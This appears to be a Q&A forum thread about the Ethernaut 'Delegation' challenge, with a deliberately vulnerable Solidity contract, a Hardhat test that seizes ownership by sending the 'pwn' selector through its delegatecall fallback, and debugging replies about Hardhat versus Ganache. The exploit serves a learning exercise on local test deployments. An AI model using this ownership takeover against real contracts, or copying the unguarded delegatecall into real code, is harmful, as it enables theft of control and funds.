1

I have this problem solving Ethernaut challenge Delegation:

The following is the original contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate internal delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        // require(result == true);
        if (result) {
            this;
        }
    }
}

According to this walkthrough you can mutate original contract's storage by calling delegatecall.

I wrote my attack in hardhat. Here is the code:

import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";
import { ethers } from "hardhat";
import { Delegate, Delegation } from "../../typechain";

describe("DelegationAttack", function () {
  let DelegationToken;
  let DelegateToken;
  let delegation: Delegation;
  let delegate: Delegate;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  beforeEach(async function () {
    DelegateToken = await ethers.getContractFactory("Delegate");
    DelegationToken = await ethers.getContractFactory("Delegation");
    [owner, attacker] = await ethers.getSigners();
    delegate = await DelegateToken.connect(owner).deploy(owner.address);
    delegation = await DelegationToken.connect(owner).deploy(delegate.address);
  });

  describe("attack", function () {
    it("should transfer ownership", async function () {
      const ABI = ["function pwn() public"];
      const iface = new ethers.utils.Interface(ABI);
      await attacker.sendTransaction({
        from: attacker.address,
        to: delegation.address,
        data: iface.encodeFunctionData("pwn"),
      });

      const delegatedOwner = await delegation.owner();
      expect(delegatedOwner).to.equals(attacker.address);
    });
  });
});

When I run the test, I get this error:

AssertionError: expected '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266' to equal '0x70997970C51812dc3A010C7d01b50e0d17dc79C8'

Which means, owner variable has not been changed.

But strangely, if I uncomment this line:

// require(result == true);

then I get the test passed.

What is the reason?

2
  • Sorry I deleted my answer as having done more reading I think I was wrong, I believe result should be true as long as the delegate call is successful.
    – Joe
    Dec 2, 2021 at 13:48
  • I have a similar problem with delegatecall() while testing in localhost. Some expected changes don't occur.
    – Rutrus
    Mar 14, 2022 at 19:02

2 Answers 2

1
+100

It will work if you use Ganache to simulate a node.

First run Ganache (quickstart), then execute -

npx hardhat test --network ganache

It will also work well on Remix IDE.

Tried running it with npx hardhat node as a simulator then test with npx hardhat test --network localhost and it's the same issue, although you can see in logs that correct calls are made.

So far it seems like a Hardhat Network issue.

-1

I think what you need is:

let tx = await attacker.sendTransaction({
        from: attacker.address,
        to: delegation.address,
        data: iface.encodeFunctionData("pwn"),
      });
let receipt = await tx.wait();
5
  • Nice try. Thought it should solve the problem. But unfortunately still get the same error.
    – glinda93
    Dec 2, 2021 at 15:13
  • Weird, it works for me
    – Joe
    Dec 2, 2021 at 15:21
  • My solidity version is 0.8.4 and hardhat version is 2.7.0. What's yours?
    – glinda93
    Dec 2, 2021 at 15:28
  • I was mistaken, it doesn't work for me.. It's weird, because that require is not even being hit, but its presence in the code changes things..
    – Joe
    Dec 2, 2021 at 16:32
  • Also very strange, this causes the test to pass! (bool result, ) = address(delegate).delegatecall(msg.data); console.log(result);
    – Joe
    Dec 2, 2021 at 16:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.